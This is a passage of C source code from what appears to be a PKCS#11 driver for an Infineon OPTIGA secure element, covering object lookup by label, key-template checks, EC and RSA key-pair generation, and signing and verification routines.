sequence for the objects of the specified type. */ CK_DEFINE_FUNCTION( CK_RV, C_FindObjectsInit )( CK_SESSION_HANDLE xSession, CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount ) { p_pkcs11_session_t pxSession = get_session_pointer( xSession ); CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); CK_BYTE * find_object_lable = NULL; uint32_t ulIndex; CK_ATTRIBUTE xAttribute; /* Check inputs. */ if( ( pxSession == NULL ) || ( pxSession->opened != CK_TRUE ) ) { xResult = CKR_SESSION_HANDLE_INVALID; PKCS11_PRINT( ( "ERROR: Invalid session. \r\n" ) ); } else if( pxSession->find_object_lable != NULL ) { xResult = CKR_OPERATION_ACTIVE; PKCS11_PRINT( ( "ERROR: Find object operation already in progress. \r\n" ) ); } else if( NULL == pxTemplate ) { xResult = CKR_ARGUMENTS_BAD; } else if( ( ulCount != 1 ) && ( ulCount != 2 ) ) { xResult = CKR_ARGUMENTS_BAD; PKCS11_PRINT( ( "ERROR: Find objects does not support searching by %d attributes. \r\n", ulCount ) ); } /* Malloc space to save template information. */ if( xResult == CKR_OK ) { find_object_lable = malloc( pxTemplate->ulValueLen + 1 ); /* Add 1 to guarantee null termination for PAL. */ pxSession->find_object_lable = find_object_lable; if( find_object_lable != NULL ) { memset( find_object_lable, 0, pxTemplate->ulValueLen + 1 ); } else { xResult = CKR_HOST_MEMORY; } } /* Search template for label. * NOTE: This port only supports looking up objects by CKA_LABEL and all * other search attributes are ignored. */ if( xResult == CKR_OK ) { xResult = CKR_TEMPLATE_INCOMPLETE; for( ulIndex = 0; ulIndex < ulCount; ulIndex++ ) /* TODO: Re-evaluate the need for this for loop... we are making bad assumptions if 2 objects have the same label anyhow! */ { xAttribute = pxTemplate[ ulIndex ]; if( xAttribute.type == CKA_LABEL ) { memcpy( pxSession->find_object_lable, xAttribute.pValue, xAttribute.ulValueLen ); xResult = CKR_OK; } else { PKCS11_WARNING_PRINT( ( "WARNING: Search parameters other than label are ignored.\r\n" ) ); } } } /* Clean up memory if there was an error parsing the template. */ if( xResult != CKR_OK ) { if( find_object_lable != NULL ) { free( find_object_lable ); pxSession->find_object_lable = NULL; } } return xResult; } /** * @brief Query the objects of the requested type. */ CK_DEFINE_FUNCTION( CK_RV, C_FindObjects )( CK_SESSION_HANDLE xSession, CK_OBJECT_HANDLE_PTR pxObject, CK_ULONG ulMaxObjectCount, CK_ULONG_PTR pulObjectCount ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); long xDone = 0; p_pkcs11_session_t pxSession = get_session_pointer( xSession ); CK_BYTE_PTR pcObjectValue = NULL; uint32_t xObjectLength = 0; CK_BBOOL xIsPrivate = CK_TRUE; CK_BYTE xByte = 0; CK_OBJECT_HANDLE xPalHandle = CK_INVALID_HANDLE; uint32_t ulIndex; /* * Check parameters. */ if( ( CKR_OK != xResult ) || ( NULL == pxObject ) || ( NULL == pulObjectCount ) ) { xResult = CKR_ARGUMENTS_BAD; xDone = 1; } if( pxSession->find_object_lable == NULL ) { xResult = CKR_OPERATION_NOT_INITIALIZED; xDone = 1; } if( 0u == ulMaxObjectCount ) { xResult = CKR_ARGUMENTS_BAD; xDone = 1; } if( 1u != ulMaxObjectCount ) { PKCS11_WARNING_PRINT( ( "WARN: Searching for more than 1 object not supported. \r\n" ) ); } if( ( 0 == xDone ) && ( ( CK_BBOOL ) CK_TRUE == pxSession->find_object_complete ) ) { *pulObjectCount = 0; xResult = CKR_OK; xDone = 1; } if( ( 0 == xDone ) ) { /* Try to find the object in module's list first. */ find_object_in_list_by_label( pxSession->find_object_lable, strlen( ( const char * ) pxSession->find_object_lable ), &xPalHandle, pxObject ); /* Check with the PAL if the object was previously stored. */ if( *pxObject == CK_INVALID_HANDLE ) { xPalHandle = find_object( pxSession->find_object_lable, ( uint8_t ) strlen( ( const char * ) pxSession->find_object_lable ) ); } if( xPalHandle != CK_INVALID_HANDLE && xPalHandle != DevicePrivateKey) { xResult = get_object_value( xPalHandle, &pcObjectValue, &xObjectLength, &xIsPrivate ); if( ( xResult == CKR_OK ) && ( xObjectLength == 0 ) ) { *pulObjectCount = 0; xResult = CKR_OK; xDone = 1; } else if ( xResult == CKR_OK ) { for( ulIndex = 0; ulIndex < xObjectLength; ulIndex++ ) { xByte |= pcObjectValue[ ulIndex ]; } if( xObjectLength == 1 ) /* Deleted objects are overwritten completely w/ zero. */ { *pxObject = CK_INVALID_HANDLE; } else { xResult = add_object_to_list( xPalHandle, pxObject, pxSession->find_object_lable, strlen( ( const char * ) pxSession->find_object_lable ) ); *pulObjectCount = 1; } get_object_value_cleanup( pcObjectValue, xObjectLength ); } } else if (xPalHandle == DevicePrivateKey) { *pulObjectCount = 1; xResult = CKR_OK; } else { /*xIsObjectWithNoNvmStorage(pxSession->find_object_lable, strlen(pxSession->find_object_lable), ) */ PKCS11_PRINT( ( "ERROR: Object with label '%s' not found. \r\n", ( char * ) pxSession->find_object_lable ) ); xResult = CKR_FUNCTION_FAILED; } } return xResult; } /** * @brief Terminate object enumeration. */ CK_DEFINE_FUNCTION( CK_RV, C_FindObjectsFinal )( CK_SESSION_HANDLE xSession ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); p_pkcs11_session_t pxSession = get_session_pointer( xSession ); /* * Check parameters. */ if( pxSession->opened != CK_TRUE ) { xResult = CKR_SESSION_HANDLE_INVALID; } if( pxSession->find_object_lable == NULL ) { xResult = CKR_OPERATION_NOT_INITIALIZED; } if( xResult == CKR_OK ) { /* * Clean-up find objects state. */ free( pxSession->find_object_lable ); pxSession->find_object_lable = NULL; } return xResult; } CK_RV verify_private_key_template(CK_SESSION_HANDLE xSession, CK_ATTRIBUTE_PTR * ppxLabel, CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulTemplateLength ) { #define LABEL ( 1U ) #define PRIVATE ( 1U << 1 ) #define SIGN ( 1U << 2 ) #define DECRYPT ( 1U << 3 ) CK_ATTRIBUTE xAttribute; CK_RV xResult = CKR_OK; CK_BBOOL xBool; CK_ULONG xTemp; CK_ULONG xIndex; CK_BBOOL is_error = FALSE; uint32_t received_attribute = 0; uint32_t ec_expected_attribute = ( LABEL | PRIVATE | SIGN ); uint32_t rsa_expected_attribute[] = {( LABEL | PRIVATE | SIGN | DECRYPT ), ( LABEL | PRIVATE | DECRYPT ), ( LABEL | PRIVATE | SIGN ) }; p_pkcs11_session_t session = get_session_pointer( xSession ); for( xIndex = 0; xIndex < ulTemplateLength; xIndex++ ) { if(TRUE == is_error) { break; } xAttribute = pxTemplate[ xIndex ]; switch( xAttribute.type ) { case ( CKA_LABEL ): { *ppxLabel = &pxTemplate[ xIndex ]; received_attribute |= LABEL; } break; case ( CKA_TOKEN ): { memcpy( &xBool, xAttribute.pValue, sizeof( CK_BBOOL ) ); if( xBool != CK_TRUE ) { PKCS11_PRINT( ( "ERROR: Only token key generation is supported. \r\n" ) ); xResult = CKR_ATTRIBUTE_VALUE_INVALID; is_error = TRUE; break; } } break; case ( CKA_KEY_TYPE ): { memcpy( &xTemp, xAttribute.pValue, sizeof( CK_ULONG ) ); if( (xTemp != CKK_EC) && (xTemp != CKK_RSA)) { PKCS11_PRINT( ( "ERROR: Only EC and RSA key pair generation is supported. \r\n" ) ); xResult = CKR_TEMPLATE_INCONSISTENT; is_error = TRUE; break; } } break; case ( CKA_PRIVATE ): { memcpy( &xBool, xAttribute.pValue, sizeof( CK_BBOOL ) ); if( xBool != CK_TRUE ) { PKCS11_PRINT( ( "ERROR: Generating private keys that are not marked private is not supported. \r\n" ) ); xResult = CKR_TEMPLATE_INCONSISTENT; is_error = TRUE; break; } received_attribute |= PRIVATE; } break; case ( CKA_SIGN ): { memcpy( &xBool, xAttribute.pValue, sizeof( CK_BBOOL ) ); if( xBool != CK_TRUE ) { break; } session->key_template_enabled |= PKCS_SIGN_ENABLE; received_attribute |= SIGN; } break; case ( CKA_DECRYPT ): { memcpy( &xBool, xAttribute.pValue, sizeof( CK_BBOOL ) ); if( xBool != CK_TRUE ) { break; } session->key_template_enabled |= PKCS_DECRYPT_ENABLE; received_attribute |= DECRYPT; } break; default: { is_error = TRUE; xResult = CKR_TEMPLATE_INCONSISTENT; } break; } } if ( xTemp == CKK_EC ) { if( ( received_attribute & ec_expected_attribute ) != ec_expected_attribute ) { xResult = CKR_ATTRIBUTE_VALUE_INVALID; } } else if ( xTemp == CKK_RSA ) { for(xIndex = 0; xIndex < sizeof(rsa_expected_attribute)/sizeof(uint32_t); xIndex++) { if(received_attribute == rsa_expected_attribute[xIndex]) { break; } } if (xIndex == sizeof(rsa_expected_attribute)/sizeof(uint32_t)) { xResult = CKR_TEMPLATE_INCONSISTENT; } } else { xResult = CKR_ATTRIBUTE_VALUE_INVALID; } return xResult; } CK_RV verify_public_key_template( CK_SESSION_HANDLE xSession, CK_ATTRIBUTE_PTR * ppxLabel, CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulTemplateLength ) { #define LABEL ( 1U ) #define EC_PARAMS ( 1U << 1 ) #define VERIFY ( 1U << 2 ) #define ENCRYPT ( 1U << 3 ) #define MODULUS ( 1U << 4 ) #define EXPONENT ( 1U << 5 ) CK_ATTRIBUTE xAttribute; CK_RV xResult = CKR_OK; CK_BBOOL xBool; CK_BBOOL is_error = FALSE; CK_ULONG modulus_bits; CK_BYTE exp_bits[] = {0x01, 0x00, 0x01}; CK_KEY_TYPE xKeyType; CK_BYTE ec_param_p256[] = pkcs11DER_ENCODED_OID_P256; CK_BYTE ec_param_p384[] = pkcs11DER_ENCODED_OID_P384; CK_BYTE ec_param_p521[] = pkcs11DER_ENCODED_OID_P521; int lCompare; CK_ULONG ulIndex; uint32_t received_attribute = 0; uint32_t ec_expected_attribute = ( LABEL | EC_PARAMS | VERIFY ); uint32_t rsa_expected_attribute[] = {( LABEL | ENCRYPT | VERIFY | MODULUS |EXPONENT ), ( LABEL | ENCRYPT | MODULUS | EXPONENT ), ( LABEL | VERIFY | MODULUS | EXPONENT ), }; p_pkcs11_session_t session = get_session_pointer( xSession ); for( ulIndex = 0; ulIndex < ulTemplateLength; ulIndex++ ) { if(TRUE == is_error) { break; } xAttribute = pxTemplate[ ulIndex ]; switch( xAttribute.type ) { case ( CKA_LABEL ): { *ppxLabel = &pxTemplate[ ulIndex ]; received_attribute |= LABEL; } break; case ( CKA_KEY_TYPE ): { memcpy( &xKeyType, xAttribute.pValue, sizeof( CK_KEY_TYPE ) ); if( ( xKeyType != CKK_EC ) && ( xKeyType != CKK_RSA ) ) { PKCS11_PRINT( ( "ERROR: Only EC and RSA key pair generation is supported. \r\n" ) ); xResult = CKR_TEMPLATE_INCONSISTENT; is_error = TRUE; } } break; case ( CKA_EC_PARAMS ): { if (0 == memcmp( ec_param_p256, xAttribute.pValue, sizeof( ec_param_p256 ) )) { session->ec_key_type = OPTIGA_ECC_CURVE_NIST_P_256; session->ec_key_size = 0x44; received_attribute |= EC_PARAMS; } else if(0 == memcmp( ec_param_p384, xAttribute.pValue, sizeof( ec_param_p384 ))) { session->ec_key_type = OPTIGA_ECC_CURVE_NIST_P_384; session->ec_key_size = 0x64; received_attribute |= EC_PARAMS; } else if(0 == memcmp( ec_param_p521, xAttribute.pValue, sizeof( ec_param_p521 ))) { session->ec_key_type = OPTIGA_ECC_CURVE_NIST_P_521; session->ec_key_size = 0x89; received_attribute |= EC_PARAMS; } else { PKCS11_PRINT( ( "ERROR: key generation is supported. \r\n" ) ); xResult = CKR_TEMPLATE_INCONSISTENT; is_error = TRUE; } } break; case ( CKA_VERIFY ): { memcpy( &xBool, xAttribute.pValue, sizeof( CK_BBOOL ) ); if( xBool != CK_TRUE ) { PKCS11_PRINT( ( "ERROR: Generating public keys that cannot verify is not supported. \r\n" ) ); break; } session->key_template_enabled |= PKCS_VERIFY_ENABLE; received_attribute |= VERIFY; } break; case ( CKA_TOKEN ): { memcpy( &xBool, xAttribute.pValue, sizeof( CK_BBOOL ) ); if( xBool != CK_TRUE ) { PKCS11_PRINT( ( "ERROR: Only token key generation is supported. \r\n" ) ); xResult = CKR_TEMPLATE_INCONSISTENT; is_error = TRUE; } } break; case ( CKA_ENCRYPT ): { memcpy( &xBool, xAttribute.pValue, sizeof( CK_BBOOL ) ); if( xBool != CK_TRUE ) { PKCS11_PRINT( ( "ERROR: Generating public keys that cannot encrypt is not supported. \r\n" ) ); break; } session->key_template_enabled |= PKCS_ENCRYPT_ENABLE; received_attribute |= ENCRYPT; } break; case ( CKA_MODULUS_BITS ): { memcpy( &modulus_bits, xAttribute.pValue, sizeof( CK_ULONG ) ); if( modulus_bits == 0 ) { PKCS11_PRINT( ( "ERROR: Generating public keys that cannot modulus size is not supported. \r\n" ) ); xResult = CKR_ATTRIBUTE_VALUE_INVALID; is_error = TRUE; break; } session->rsa_key_size = modulus_bits; received_attribute |= MODULUS; } break; case ( CKA_PUBLIC_EXPONENT ): { if (0 != memcmp( exp_bits, xAttribute.pValue, sizeof( exp_bits ) )) { xResult = CKR_TEMPLATE_INCONSISTENT; is_error = TRUE; break; } received_attribute |= EXPONENT; } break; default: { is_error = TRUE; xResult = CKR_TEMPLATE_INCONSISTENT; } break; } } if ( CKR_OK == xResult ) { if ( xKeyType == CKK_EC ) { if( (( received_attribute & rsa_expected_attribute[0] ) == rsa_expected_attribute[0] ) || (( received_attribute & ( LABEL | ENCRYPT | MODULUS | EXPONENT ) ) == ( LABEL | ENCRYPT | MODULUS | EXPONENT ) )) { xResult = CKR_ATTRIBUTE_VALUE_INVALID; } else if( ( received_attribute & ec_expected_attribute ) != ec_expected_attribute ) { xResult = CKR_TEMPLATE_INCONSISTENT; } } else if ( xKeyType == CKK_RSA ) { for(ulIndex = 0; ulIndex < sizeof(rsa_expected_attribute)/sizeof(uint32_t); ulIndex++) { if(received_attribute == rsa_expected_attribute[ulIndex]) { break; } } if (ulIndex == sizeof(rsa_expected_attribute)/sizeof(uint32_t)) { xResult = CKR_TEMPLATE_INCONSISTENT; } if (received_attribute & EC_PARAMS) { xResult = CKR_ATTRIBUTE_VALUE_INVALID; } } else { xResult = CKR_ATTRIBUTE_VALUE_INVALID; } } return xResult; } /** * @brief Generate a new public-private key pair. */ CK_DEFINE_FUNCTION( CK_RV, C_GenerateKeyPair )( CK_SESSION_HANDLE xSession, CK_MECHANISM_PTR pxMechanism, CK_ATTRIBUTE_PTR pxPublicKeyTemplate, CK_ULONG ulPublicKeyAttributeCount, CK_ATTRIBUTE_PTR pxPrivateKeyTemplate, CK_ULONG ulPrivateKeyAttributeCount, CK_OBJECT_HANDLE_PTR pxPublicKey, CK_OBJECT_HANDLE_PTR pxPrivateKey ) { CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED( xSession ); uint8_t * pucPublicKeyDer = NULL; uint16_t ucPublicKeyDerLength = 0; CK_ATTRIBUTE_PTR pxPrivateLabel = NULL; CK_ATTRIBUTE_PTR pxPublicLabel = NULL; CK_OBJECT_HANDLE xPalPublic = CK_INVALID_HANDLE; CK_OBJECT_HANDLE xPalPrivate = CK_INVALID_HANDLE; char* xEnd = NULL; long lOptigaOid = 0; optiga_rsa_key_type_t rsa_key_type = 0; uint8_t key_usage; do { p_pkcs11_session_t session = get_session_pointer( xSession ); if( (CKM_EC_KEY_PAIR_GEN != pxMechanism->mechanism) && (CKM_RSA_PKCS_KEY_PAIR_GEN != pxMechanism->mechanism) ) { xResult = CKR_MECHANISM_PARAM_INVALID; break; } xResult = verify_private_key_template(xSession, &pxPrivateLabel, pxPrivateKeyTemplate, ulPrivateKeyAttributeCount ); if( xResult != CKR_OK ) { break; } xResult = verify_public_key_template(xSession, &pxPublicLabel, pxPublicKeyTemplate, ulPublicKeyAttributeCount ); if( xResult != CKR_OK ) { break; } lOptigaOid = strtol((char*)pxPrivateLabel->pValue, &xEnd, 16); if ( 0 != lOptigaOid) { pal_os_lock_acquire(&optiga_mutex); /* For the public key, the OPTIGA library will return the standard 65 bytes of uncompressed curve points plus a 3-byte tag. The latter will be intentionally overwritten below. */ pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; if ( pxMechanism->mechanism == CKM_EC_KEY_PAIR_GEN ) { ucPublicKeyDerLength = session->ec_key_size; pucPublicKeyDer = malloc(session->ec_key_size); if (pucPublicKeyDer == NULL) { xResult = CKR_HOST_MEMORY; break; } xResult = optiga_crypt_ecc_generate_keypair(pkcs11_context.object_list.optiga_crypt_instance, session->ec_key_type, (uint8_t)OPTIGA_KEY_USAGE_SIGN, FALSE, &lOptigaOid, pucPublicKeyDer, &ucPublicKeyDerLength); } else if ( pxMechanism->mechanism == CKM_RSA_PKCS_KEY_PAIR_GEN ) { ucPublicKeyDerLength = session->rsa_key_size; pucPublicKeyDer = malloc(session->rsa_key_size); if (pucPublicKeyDer == NULL) { xResult = CKR_HOST_MEMORY; break; } if (( session->key_template_enabled & PKCS_ENCRYPT_ENABLE ) && ( session->key_template_enabled & PKCS_DECRYPT_ENABLE )) { key_usage = OPTIGA_KEY_USAGE_ENCRYPTION; } if (( session->key_template_enabled & PKCS_SIGN_ENABLE ) && ( session->key_template_enabled & PKCS_VERIFY_ENABLE )) { key_usage |= OPTIGA_KEY_USAGE_SIGN; } rsa_key_type = (session->rsa_key_size == pkcs11RSA_2048_MODULUS_BITS ? OPTIGA_RSA_KEY_2048_BIT_EXPONENTIAL: OPTIGA_RSA_KEY_1024_BIT_EXPONENTIAL); xResult = optiga_crypt_rsa_generate_keypair(pkcs11_context.object_list.optiga_crypt_instance, rsa_key_type, key_usage, FALSE, &lOptigaOid, pucPublicKeyDer, &ucPublicKeyDerLength); } else { xResult = CKR_MECHANISM_PARAM_INVALID; break; } if (OPTIGA_LIB_SUCCESS != xResult) { PKCS11_PRINT( ( "ERROR: Failed to generate a keypair \r\n" ) ); xResult = CKR_FUNCTION_FAILED; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { PKCS11_PRINT( ( "ERROR: Failed to generate a keypair \r\n" ) ); xResult = CKR_FUNCTION_FAILED; break; } pal_os_lock_release(&optiga_mutex); } else { xResult = CKR_FUNCTION_FAILED; break; } if( xResult == CKR_OK) { xPalPublic = save_object(pxPublicLabel, (unsigned char *)pucPublicKeyDer, ucPublicKeyDerLength); } else { xResult = CKR_GENERAL_ERROR; break; } /* This is a trick to have a handle to store */ xPalPrivate = save_object( pxPrivateLabel, NULL, 0); if( ( xPalPublic != CK_INVALID_HANDLE ) ) { xResult = add_object_to_list( xPalPrivate, pxPrivateKey, pxPrivateLabel->pValue, pxPrivateLabel->ulValueLen ); if( xResult == CKR_OK ) { xResult = add_object_to_list( xPalPublic, pxPublicKey, pxPublicLabel->pValue, pxPublicLabel->ulValueLen ); if( xResult != CKR_OK ) { destroy_object( *pxPrivateKey ); break; } } } else { xResult = CK_INVALID_HANDLE; break; } } while(0); /* Clean up. */ if( NULL != pucPublicKeyDer ) { free( pucPublicKeyDer ); } return xResult; } CK_RV check_valid_rsa_signature_scheme(CK_MECHANISM_TYPE mechanism_type) { CK_RV return_status = CKR_OK; switch(mechanism_type) { case CKM_RSA_PKCS: break; case CKM_SHA256_RSA_PKCS: break; case CKM_SHA384_RSA_PKCS: break; case CKM_SHA512_RSA_PKCS: break; default: return_status = CKR_MECHANISM_INVALID; } return return_status; } CK_RV set_valid_rsa_signature_scheme(CK_MECHANISM_TYPE mechanism_type, optiga_rsa_signature_scheme_t* rsa_signature_scheme) { CK_RV return_status = CKR_OK; switch(mechanism_type) { case CKM_RSA_PKCS: { *rsa_signature_scheme = OPTIGA_RSASSA_PKCS1_V15_SHA256; } break; case CKM_SHA256_RSA_PKCS: { *rsa_signature_scheme = OPTIGA_RSASSA_PKCS1_V15_SHA256; } break; case CKM_SHA384_RSA_PKCS: { *rsa_signature_scheme = OPTIGA_RSASSA_PKCS1_V15_SHA384; } break; case CKM_SHA512_RSA_PKCS: { *rsa_signature_scheme = OPTIGA_RSASSA_PKCS1_V15_SHA512; } break; default: return_status = CKR_MECHANISM_INVALID; } return return_status; } /** * @brief Begin creating a digital signature. */ CK_DEFINE_FUNCTION( CK_RV, C_SignInit )( CK_SESSION_HANDLE xSession, CK_MECHANISM_PTR pxMechanism, CK_OBJECT_HANDLE xKey ) { CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); CK_OBJECT_HANDLE xPalHandle; uint8_t * pxLabel = NULL; size_t xLabelLength = 0; long lOptigaOid = 0; char* xEnd = NULL; p_pkcs11_session_t session = get_session_pointer( xSession ); do { /*lint !e9072 It's OK to have different parameter name. */ p_pkcs11_session_t pxSession = get_session_pointer( xSession ); if( NULL == pxMechanism ) { PKCS11_PRINT( ( "ERROR: Null signing mechanism provided. \r\n" ) ); xResult = CKR_ARGUMENTS_BAD; break; } /* Retrieve key value from storage. */ find_object_in_list_by_handle( xKey, &xPalHandle, &pxLabel, &xLabelLength ); if( xPalHandle != CK_INVALID_HANDLE ) { lOptigaOid = strtol((char*)pxLabel, &xEnd, 16); if (0 != lOptigaOid) { pxSession->sign_key_oid = (uint16_t) lOptigaOid; } else { PKCS11_PRINT( ("ERROR: Unable to retrieve value of private key for signing %d. \r\n", xResult) ); xResult = CKR_KEY_HANDLE_INVALID; break; } } else { xResult = CKR_KEY_HANDLE_INVALID; break; } /* Check that the mechanism and key type are compatible, supported. */ if( (pxMechanism->mechanism != CKM_ECDSA) && (check_valid_rsa_signature_scheme(pxMechanism->mechanism)) ) { PKCS11_PRINT( ("ERROR: Unsupported mechanism type %d \r\n", pxMechanism->mechanism) ); xResult = CKR_MECHANISM_INVALID; break; } else { pxSession->sign_mechanism = pxMechanism->mechanism; } session->sign_init_done = TRUE; }while(0); return xResult; } /** * @brief Performs a digital signature operation. */ CK_DEFINE_FUNCTION( CK_RV, C_Sign )( CK_SESSION_HANDLE xSession, CK_BYTE_PTR pucData, CK_ULONG ulDataLen, CK_BYTE_PTR pucSignature, CK_ULONG_PTR pulSignatureLen ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); p_pkcs11_session_t session = get_session_pointer( xSession ); CK_ULONG xSignatureLength = 0; /* Signature Length + 3x2 bytes reserved for DER tags */ uint8_t ecSignature[ pkcs11ECDSA_P521_SIGNATURE_LENGTH + 3 + 3 ]; uint16_t ecSignatureLength = sizeof(ecSignature); optiga_rsa_signature_scheme_t rsa_signature_scheme = 0; do { if ( TRUE != session->sign_init_done) { xResult = CKR_OPERATION_NOT_INITIALIZED; break; } if( NULL == pulSignatureLen ) { xResult = CKR_ARGUMENTS_BAD; break; } /* Update the signature length. */ if (session->sign_mechanism == CKM_ECDSA) { if(session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_256) { xSignatureLength = pkcs11ECDSA_P256_SIGNATURE_LENGTH; } else if(session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_384) { xSignatureLength = pkcs11ECDSA_P384_SIGNATURE_LENGTH; } else if(session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_521) { xSignatureLength = pkcs11ECDSA_P521_SIGNATURE_LENGTH; } else { xResult = CKR_ARGUMENTS_BAD; break; } } else if ( CKR_OK == check_valid_rsa_signature_scheme(session->sign_mechanism)) { xSignatureLength = (session->rsa_key_size == pkcs11RSA_2048_MODULUS_BITS ? pkcs11RSA_2048_SIGNATURE_LENGTH : pkcs11RSA_1024_SIGNATURE_LENGTH); } else { xResult = CKR_ARGUMENTS_BAD; break; } /* Check that the signature buffer is long enough. */ if( *pulSignatureLen < xSignatureLength ) { xResult = CKR_BUFFER_TOO_SMALL; break; } if (0 != session->sign_key_oid) { pal_os_lock_acquire(&optiga_mutex); /* * An example of a returned signature * 0x000000: 02 20 38 0f 56 c8 90 53 18 9d 8f 58 b4 46 35 a0 . 8.V..S...X.F5. * 0x000010: d7 07 63 ef 9f a2 30 64 93 e4 3d bf 7b db 57 a1 ..c...0d..=.{.W. * 0x000020: b6 d7 02 20 4f 5e 3a db 6b 1a eb ac 66 9a 15 69 ... O^:.k...f..i * 0x000030: 0d 7d 46 5b 44 72 40 06 a5 7b 06 84 0f d7 6e 0f .}F[Dr@..{....n. * 0x000040: 4b 45 7f 50 KE.P */ pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; if (session->sign_mechanism == CKM_ECDSA) { xResult = optiga_crypt_ecdsa_sign(pkcs11_context.object_list.optiga_crypt_instance, pucData, ulDataLen, session->sign_key_oid, ecSignature, &ecSignatureLength); } else if ( CKR_OK == set_valid_rsa_signature_scheme(session->sign_mechanism, &rsa_signature_scheme) ) { xResult = optiga_crypt_rsa_sign(pkcs11_context.object_list.optiga_crypt_instance, rsa_signature_scheme, pucData, ulDataLen, session->sign_key_oid, pucSignature, (uint16_t *)pulSignatureLen, 0x0000); } else { xResult = CKR_ARGUMENTS_BAD; break; } if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { xResult = CKR_FUNCTION_FAILED; break; } pal_os_lock_release(&optiga_mutex); } if (session->sign_mechanism == CKM_ECDSA) { /* Reformat from DER encoded to 64-byte R & S components */ asn1_to_ecdsa_rs(ecSignature, ecSignatureLength, pucSignature, xSignatureLength); *pulSignatureLen = xSignatureLength; } /* Complete the operation in the context. */ if( xResult != CKR_BUFFER_TOO_SMALL ) { session->sign_mechanism = pkcs11NO_OPERATION; } }while(0); return xResult; } CK_DEFINE_FUNCTION(CK_RV, C_SignUpdate)( CK_SESSION_HANDLE xSession, CK_BYTE_PTR part, CK_ULONG part_len) { return CKR_OK; } CK_DEFINE_FUNCTION(CK_RV, C_SignFinal)( CK_SESSION_HANDLE xSession, CK_BYTE_PTR signature, CK_ULONG_PTR signature_len) { return CKR_OK; } /** * @brief Begin a digital signature verification. */ CK_DEFINE_FUNCTION( CK_RV, C_VerifyInit )( CK_SESSION_HANDLE xSession, CK_MECHANISM_PTR pxMechanism, CK_OBJECT_HANDLE xKey ) { CK_RV xResult = CKR_OK; p_pkcs11_session_t session; CK_OBJECT_HANDLE xPalHandle = CK_INVALID_HANDLE; uint8_t * pxLabel = NULL; size_t xLabelLength = 0; CK_LONG lOptigaOid = 0; char* xEnd = NULL; /*lint !e9072 It's OK to have different parameter name. */ //( void ) ( xSession ); do { session = get_session_pointer( xSession ); if( NULL == pxMechanism ) { xResult = CKR_ARGUMENTS_BAD; break; } /* Retrieve key value from storage. */ find_object_in_list_by_handle( xKey, &xPalHandle, &pxLabel, &xLabelLength ); if( xPalHandle != CK_INVALID_HANDLE ) { lOptigaOid = strtol((char*)pxLabel, &xEnd, 16); if (0 != lOptigaOid) { session->verify_key_oid = (uint16_t) lOptigaOid; } else { PKCS11_PRINT( ("ERROR: Unable to retrieve value of private key for signing %d. \r\n", xResult) ); xResult = CKR_ARGUMENTS_BAD; break; } } else { xResult = CKR_KEY_HANDLE_INVALID; break; } /* Check for a supported crypto algorithm. */ if( (pxMechanism->mechanism == CKM_ECDSA) || !(check_valid_rsa_signature_scheme(pxMechanism->mechanism)) ) { session->verify_mechanism = pxMechanism->mechanism; } else { xResult = CKR_MECHANISM_INVALID; break; } session->verify_init_done = TRUE; } while (0); return xResult; } /** * @brief Verifies a digital signature. */ CK_DEFINE_FUNCTION( CK_RV, C_Verify )( CK_SESSION_HANDLE xSession, CK_BYTE_PTR pucData, CK_ULONG ulDataLen, CK_BYTE_PTR pucSignature, CK_ULONG ulSignatureLen ) { CK_RV xResult = CKR_OK; p_pkcs11_session_t session; uint8_t temp[2048]; uint16_t tempLen = 2048; public_key_from_host_t xPublicKeyDetails = {0}; optiga_rsa_signature_scheme_t rsa_signature_scheme = 0; CK_ULONG xSignatureLength = 0; /* (R component ) + (S component ) + DER tags 3 bytes max each*/ CK_BYTE pubASN1Signature[pkcs11ECDSA_P521_SIGNATURE_LENGTH + 0x03 + 0x03]; CK_ULONG pubASN1SignatureLength = sizeof(pubASN1Signature); do { session = get_session_pointer( xSession ); if ( TRUE != session->verify_init_done) { xResult = CKR_OPERATION_NOT_INITIALIZED; break; } /* Check parameters. */ if( ( NULL == pucData ) || ( NULL == pucSignature ) ) { xResult = CKR_ARGUMENTS_BAD; break; } /* Check that the signature and data are the expected length. * These PKCS #11 mechanism expect data to be pre-hashed/formatted. */ if( session->verify_mechanism == CKM_ECDSA ) { if( ulDataLen != pkcs11SHA256_DIGEST_LENGTH ) { xResult = CKR_DATA_LEN_RANGE; break; } } else if( CKR_OK == check_valid_rsa_signature_scheme(session->verify_mechanism) ) { xResult = CKR_OK; } else { xResult = CKR_OPERATION_NOT_INITIALIZED; break; } /* Update the signature length. */ if (session->verify_mechanism == CKM_ECDSA) { if(session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_256) { xSignatureLength = pkcs11ECDSA_P256_SIGNATURE_LENGTH; } else if(session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_384) { xSignatureLength = pkcs11ECDSA_P384_SIGNATURE_LENGTH; } else if(session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_521) { xSignatureLength = pkcs11ECDSA_P521_SIGNATURE_LENGTH; } else { xResult = CKR_ARGUMENTS_BAD; break; } /* Perform an ECDSA verification. */ if ( 